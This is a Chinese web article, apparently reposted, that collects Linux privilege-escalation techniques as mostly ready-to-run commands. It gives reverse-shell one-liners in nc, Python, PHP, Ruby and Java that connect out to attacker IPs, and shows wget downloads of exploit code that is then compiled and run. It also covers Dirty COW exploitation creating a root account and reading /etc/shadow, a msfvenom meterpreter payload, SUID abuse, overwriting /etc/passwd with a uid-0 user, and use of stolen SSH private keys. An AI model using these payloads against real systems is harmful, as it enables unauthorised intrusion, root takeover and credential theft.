广告位联系
返回顶部
分享到

Linux提权技巧全面汇总介绍

linux 来源:互联网 作者:佚名 发布时间:2024-05-04 22:32:05 人浏览
摘要

在Linux系统中,提权是指获取更高的权限,这通常通过使用特定的命令或工具来完成,在这篇文章中,我们将探讨一些常见的Linux提升权限的技巧:常用提权命令,反弹shell,获取完整交互式SHELL,Linux内核

在Linux系统中,提权是指获取更高的权限,这通常通过使用特定的命令或工具来完成,在这篇文章中,我们将探讨一些常见的Linux提升权限的技巧:常用提权命令,反弹shell,获取完整交互式SHELL,Linux内核漏洞提权,脏牛提权,metasploit linux提权,SUID提权,passwd提权,ssh密钥提权

常用命令

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

uname -a #查看内核/操作系统/cpu信息

hend -n 1 /etc/issue #查看操作系统版本

cat /proc/version #查看系统信息

hostname #查看计算机名

env #查看环境变量

ifconfig #查看网卡

netstat -lntp # 查看所有监听端口

netstat -antp # 查看所有已经建立的连接

netstat -s # 查看网络统计信息

iptables -L #查看防火墙设置

route -n # 查看路由表

ps -ef # 查看所有进程

top # 实时显示进程状态

w # 查看活动用户

id # 查看指定用户信息

last # 查看用户登录日志

cut -d: -f1 /etc/passwd # 查看系统所有用户

cut -d: -f1 /etc/group # 查看系统所有组

crontab -l # 查看当前用户的计划任务

chkconfig –list # 列出所有系统服务

chkconfig –list | grep on # 列出所有启动的系统服务

echo $PATH #查看系统路径

which nc #查找nc的路径

反弹shell

bash反弹

1

http://t.csdn.cn/IAItm

nc反弹

1

2

3

4

nc -e /bin/sh 192.168.10.128 6666

 

#但某些版本的nc没有-e参数(非传统版),则可使用以下方式解决

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.128 6666  >/tmp/f

python反弹

1

2

3

4

5

6

7

import socket,subprocess,os

s =socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect(( "192.168.10.128" , 6666 ))

os.dup2(s.fileno(), 0 )

os.dup2(s.fileno(), 1 )

os.dup2(s.fileno(), 2 )

p = subprocess.call([ "/bin/bash" , "-i" ])

php反弹shell

1

php -r '$sock=fsockopen("192.168.2.130",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby反弹shell

1

2

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i

<&%d >&%d 2>&%d",f,f,f)'

java反弹shell

1

2

3

4

r = Runtime.getRuntime()

p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read

line; do \$line 2>&5 >&5; done"] as String[])

p.waitFor()

xterm反弹shell

1

xterm -display 10.0.0.1:1

获取完整交互式SHELL

su root su:必须从终端中执行

python伪终端

终端有些时候系统的命令终端不允许直接访问,可以使用python虚拟化一个终端来执行

1

2

3

python -c 'import pty;pty.spawn("/bin/bash")'

 

python3 -c 'import pty;pty.spawn("/bin/bash")'

Linux反弹shell解决乱码

1

2

3

4

5

6

7

bash #从zsh切换到bash

nc -lvp 6666

python3 -c 'import pty;pty.spawn("/bin/bash")'

ctrl+z  #将伪终端放置后台任务

stty -echo raw  #设置原始格式

fg %1   #再调用后台任务(输入时无显示)

reset   #初始化

Linux内核漏洞提权

利用堆栈溢出漏洞,根据当前系统寻找对应的漏洞的exp,使用exp对其进行提权。

1

2

3

4

5

6

uname -a    #查看内核/操作系统/cpu信息

uname -v

cat /proc/version #内核信息

cat /etc/issue    #发行信息

cat /etc/redhat-release #发行信息

lsb_release -a     #显示发行版本信息

Linux version 3.19.0-15-generic

Ubuntu 15.04 Release

根据linux的内核版本查找对应的exp

1

2

3

4

5

6

7

8

9

searchsploit -t Ubuntu 15.04 #只利用标题搜索

searchsploit -s Ubuntu 15.04 #执行严格搜索,禁止对版本范围进行模糊搜索

searchsploit -s Linux Kernel 3.19.0

searchsploit -x linux/local/37088.c #检查或打开漏洞

searchsploit -m linux/local/37088.c #将一个漏洞复制到当前的工作目录

wget http://192.168.10.128/37088.c -O /tmp/37088.c

gcc 37088.c -o exp

chmod +x exp

./exp

脏牛提权 CVE-2016-5195

该漏洞是 Linux 内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞, 导致可以破坏私有只读内存映射。黑客可以在获取低权限的的本地用户后,利用此漏洞获取 其他只读内存映射的 写权限,进一步获取 root 权限。

漏洞范围

以下是主流发行版修复之后的内核版本,如果你的内核版本低于列表里的版本,表示还存在脏牛漏洞

1

2

3

4

5

6

7

8

Centos7 /RHEL7    3.10.0-327.36.3.el7

Cetnos6/RHEL6     2.6.32-642.6.2.el6

Ubuntu 16.10         4.8.0-26.28

Ubuntu 16.04         4.4.0-45.66

Ubuntu 14.04         3.13.0-100.147

Debian 8                3.16.36-1+deb8u2

Debian 7                3.2.82-1

Linux内核 >= 2.6.22(2007年发行,到2016年10月18日才修复)

1

2

3

4

5

6

https://github.com/FireFart/dirtycow/blob/master/dirty.c

wget http://192.168.10.128/dirty.c -O /tmp/dirty.c

gcc -pthread dirty.c -o dirty -lcrypt

chmod +x dirty

./dirty 123456

mv /tmp/passwd.bak /etc/passwd

1

2

3

4

5

6

7

8

9

cat /etc/passwd

 

firefart:fi8RL.Us0cfSs:0:0:pwned:/root:/bin/bash

 

python3 -c 'import pty;pty.spawn("/bin/bash")'

 

su firefart

 

cat /etc/shadow

metasploit linux提权

1

2

3

4

5

6

7

8

9

10

11

12

13

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.10.128 LPORT=12345 -f raw > ./shell.php

 

file_put_contents('../tmp/msf.php',file_get_contents('http://192.168.10.128/shell.php'));

 

msfconsole

use exploit/multi/handler

set payload php/meterpreter_reverse_tcp

set lhost 192.168.10.128

set lport 12345

exploit

 

//访问shell.php文件时就会获取一个session

shell

提权命令

使用模块查询漏洞

1

run post/multi/recon/local_exploit_suggester

1

2

3

4

5

6

7

getuid 查看当前用户

shell 使用终端

 

https://www.exploit-db.com/exploits/37292

gcc 37292.c -o exp

chmod +x exp

./exp

SUID提权

SUID是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行 时,使调用者暂时获得该文件拥有者的权限。也就是如果ROOT用户给某个可执行文件加了S权限,那么 该执行程序运行的时候将拥有ROOT权限。

1

2

chmod 4750 a.txt

4 说明 SUID 位被设置

SUID是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限(仅对拥有执行权限的二进制程序有效)。例如,所有用户都可以执行passwd命令来修改自己的用户密码,而用户密码保存在/etc/shadow文件中。仔细查看这个文件就会发现它的默认权限是000,也就是说除了root管理员以外,所有用户都没有查看或编辑该文件的权限。但是,在使用passwd命令时如果加上SUID特殊权限位,就可让普通用户临时获得程序所有者的身份,把变更的密码信息写入到shadow文件中。

1

2

3

4

5

ls -al /etc/shadow

-rw-r-----

 

ls -al /bin/passwd

-rwsr-xr-x

查找SUID文件

以下命令可以发现系统上运行的所有SUID可执行文件

1

2

3

4

5

6

7

8

9

10

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000-print2>/dev/null

find / -user root -perm -4000-exec ls -ldb {} \;

 

/表示从文件系统的顶部(根)开始并找到每个目录

-perm 表示搜索随后的权限

-u = s表示查找root用户拥有的文件

-type表示我们正在寻找的文件类型

f 表示常规文件,而不是目录或特殊文件

2表示该进程的第二个文件描述符,即stderr(标准错误)

常见suid提权文件

nmap vim find more less bash cp Nano mv awk man wgets

https://gtfobins.github.io/

1

2

3

sudo install -m =xs $(which less) .

 

./less file_to_read

passwd提权

1

2

3

4

5

6

7

8

9

10

11

12

ls -al /etc/passwd

-rw-rw-rw-- 1 cc cc 2242  7月 13 11:23 /etc/passwd  #这里要求至少有w权限

 

root:x:0:0:root:/root:/bin/bash

 

openssl passwd -1 -salt coleak a123 

$1$coleak$ryLF7yBUFqHmhDrl7czEK1

coleak:$1$coleak$ryLF7yBUFqHmhDrl7czEK1:0:0:/root:/bin/bash

 

wget http://192.168.10.128/a -O /etc/passwd

 

ssh coleak@192.168.10.157       #su coleak

ssh密钥提权

查看拥有bash的用户

1

2

3

cat /etc/passwd | grep bash

find / -name authorized_keys -type f 2>/dev/null

cd /home/webper/.ssh

.ssh下文件含义

id_rsa(私钥)服务器上经过rsa算法生成的私钥。与公钥是一对的密钥对,用于连接其他服务器用。

id_rsa.pub(公钥)服务器上经过rsa算法生成的公钥。与私钥是一对的密钥对,用于连接其他服务器用。将主机A的id_rsa.pub内容copy到B主机的authorized_keys文件中,这样A主机就能不通过密码连接到B主机。

authorized_keys(授权文件)实现真正无密码连接,即为授权文件,当把master的公钥添加到authorized_keys文件中后,下次连接直接输入ssh master即可,不需要再次输入密码。

如果目标有使用id_rsa私钥进行登陆,并且我们有权限读取

可以将id_rsa下载或复制下来使用私钥进行登陆

1

2

3

4

md5sum id_rsa.pub

md5sum authorized_keys

chmod 600 id_rsa

ssh -i id_rsa web1@192.168.10.153


版权声明 : 本文内容来源于互联网或用户自行发布贡献,该文观点仅代表原作者本人。本站仅提供信息存储空间服务和不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权, 违法违规的内容, 请发送邮件至2530232025#qq.cn(#换@)举报,一经查实,本站将立刻删除。
原文链接 :
相关文章
  • Linux如何定时删除7天前的日志文件
    打开Linux cron任务编辑模式 1 crontab -e 输入任务命令 1 0 0 * * * find /home/sto/*log* -type f -mtime +7 -delete 明天0点0分搜索目录/home/sto的log文件 将7天前
  • Linux提权技巧全面汇总介绍
    在Linux系统中,提权是指获取更高的权限,这通常通过使用特定的命令或工具来完成,在这篇文章中,我们将探讨一些常见的Linux提升权限的技巧:
  • Linux服务器上配置基于SSH密钥的身份验证及使用方
    SSH(Secure Shell)是一种加密协议,用于管理和与服务器通信。在使用 Linux 服务器时,您经常会花费大量时间在通过 SSH 连接到服务器的终端
  • Linux使用cron定时任务被隐藏的解决方法

    Linux使用cron定时任务被隐藏的解决方法
    一、问题现象 线上服务器运行过程中,进程有莫名进程被启动,怀疑是有定时任务自动启动,当你用常规方法去查看,比如使用crontab去查看
  • linux删除 buff/cache缓存的操作方法

    linux删除 buff/cache缓存的操作方法
    1.查看当前内存占用 1 free -h 如图,缓存占用了将近9G,接下来进行清理 释放页缓存 1 echo 1 /proc/sys/vm/drop_caches 释放dentries和inodes 1 echo 2 /pro
  • linux下端口被占用问题以及解除方式介绍

    linux下端口被占用问题以及解除方式介绍
    linux下端口被占用及解除 问题 最近开始学linux,写一个网络编程有关的程序时,服务端绑定端口 客户端第一次连接的时候,服务端能够正常打
  • Linux杀死指定端口的进程的教程
    Linux杀死指定端口的进程 1.查看端口 终端输入:lsof -i tcp:port 将port换成被占用的端口(如:8080) 将会出现占用端口的进程信息。 2.kill进程 找
  • Linux文件系统之缓冲区介绍

    Linux文件系统之缓冲区介绍
    一、先看现象 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #include stdio.h #include string.h #include unistd.h int main() { const char* fstr = Hello fwrite\n; const char* str
  • linux网络知识之iptables的规则介绍

    linux网络知识之iptables的规则介绍
    iptables规则 下图为数据包到达linux主机网卡后,内核如何处理数据包的大致流程 什么是规则 规则是管理员对数据包制定的一种触发机制,即
  • Linux包管理工具yum、apt的区别介绍
    一般来说著名的 Linux 系统基本上分两大类:RedHat 系列:Redhat、Centos、Fedora 等;Debian 系列:Debian、Ubuntu 等。 yum( Yellow dog Updater, Modified)是
  • 本站所有内容来源于互联网或用户自行发布,本站仅提供信息存储空间服务,不拥有版权,不承担法律责任。如有侵犯您的权益,请您联系站长处理!
  • Copyright © 2017-2022 F11.CN All Rights Reserved. F11站长开发者网 版权所有 | 苏ICP备2022031554号-1 | 51LA统计